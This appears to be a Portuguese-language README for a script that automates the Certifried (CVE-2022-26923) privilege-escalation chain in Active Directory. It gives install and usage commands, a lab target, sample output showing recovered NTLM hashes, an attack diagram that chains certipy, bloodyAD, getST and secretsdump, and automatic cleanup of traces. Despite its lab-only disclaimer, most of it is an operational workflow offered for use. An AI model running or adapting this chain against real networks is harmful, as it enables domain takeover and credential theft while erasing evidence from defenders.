
Exploração automatizada de CVE-2022-26923 (Certifried)
Exploração automatizada do CVE-2022-26923 (Certifried), permitindo escalonamento de privilégios por meio do abuso do Active Directory Certificate Services (AD CS), com fallback automático para Resource-Based Constrained Delegation (RBCD), culminando na extração do hash NTLM da conta de um administrador de domínio.
⚠️ Somente para fins educacionais / Laboratório / CTF
Não utilize em ambientes não autorizados.
Este script automatiza a seguinte cadeia de ataque:
dNSHostName para corresponder ao controlador de domíniosecretsdump.py usando o hash do DCbloodyADimpacket-addspngetST.pysecretsdump.py usando o ticket KerberosdNSHostName, fazendo com que a CA emita um certificado para a conta do DCpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP address of the Domain Controller
-D, --domain Domain name (e.g. corp.local)
-u, --user Valid domain user (UPN format: user@domain)
-p, --pass User password
--verbose Debug mode: display all executed commands
-h, --help Show this help message
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
Dica: Antes de executar, identifique o nome exato da CA e o modelo usando:
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdoutEm seguida, atualize
CA_NAMEeTEMPLATEnos valores padrão do script de acordo.
Dependendo do ambiente, um dos dois caminhos terá sucesso:
Método 1 (Clássico):
[5] Classic authentication attempt (Recovering DC hash)... [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::
Método 2 (Fallback RBCD):
[5] Classic authentication attempt (Recovering DC hash)... [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...
[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::
A limpeza OPSEC é executada automaticamente ao final (ou ao pressionar Ctrl+C):
[*] Starting trace cleanup (OPSEC)...
[OK] Cleanup complete.
Random Machine Account Creation (e.g. PWN8472$)
↓
dNSHostName Spoofing → dc.domain.local
↓
Dynamic LDAP Sync Verification (polling)
↓
Certificate Request via RPC (Machine Template)
[NETBIOS timeout auto-retry up to 5x]
↓
┌─────────────────────────────────────────┐
│ METHOD 1 — CLASSIC │
│ certipy-ad auth -pfx dc.pfx │
│ → DC NTLM hash via PKINIT │
│ → DCSync via secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ METHOD 2 — RBCD FALLBACK │
│ PFX → PEM conversion (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN on COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump via KRB5 ticket │
└─────────────────────────────────────────┘
↓
OPSEC Cleanup (trap EXIT/INT/TERM)
- Remove RBCD attribute on DC
- Delete machine account (COMP$)
- Wipe local PFX / PEM / ccache files
Este projeto é fornecido para:
O autor não se responsabiliza por qualquer uso não autorizado ou ilegal desta ferramenta.
| Ferramenta | Finalidade |
|---|
certipy-ad | Criação/atualização de conta, solicitação de certificado, autenticação PKINIT |
bloodyAD | Manipulação de atributos RBCD (fallback) |
impacket-addspn | Adição de SPN na conta de máquina (fallback) |
impacket-getST | Solicitação de ticket S4U2Self + S4U2Proxy (fallback) |
impacket-secretsdump | DCSync / extração de hash NTLM |
openssl | Conversão PFX → PEM (fallback) |
| Sintoma | Causa | Correção |
|---|
NETBIOS connection timed out | Lentidão de RPC do AD CS no HTB | Tratado automaticamente (5 tentativas) |
KDC_ERR_BADOPTION no getST | SPN ausente em COMP$ | O script agora usa impacket-addspn antes do getST |
KDC_ERR_WRONG_REALM no secretsdump | SPN incorreto (LDAP vs cifs) | O script usa o SPN cifs/ para o getST |
Clock skew too great | Dessincronização de relógio do Kerberos | sudo ntpdate <DC_IP> antes de executar |
| A exclusão da conta de máquina falha | Direitos AD insuficientes (normal) | O script ignora o erro silenciosamente com ` |
unrecognized arguments com certipy-ad | Sintaxe incorreta (formato antigo do certipy) | O script usa as flags explícitas -u/-p/-target-ip |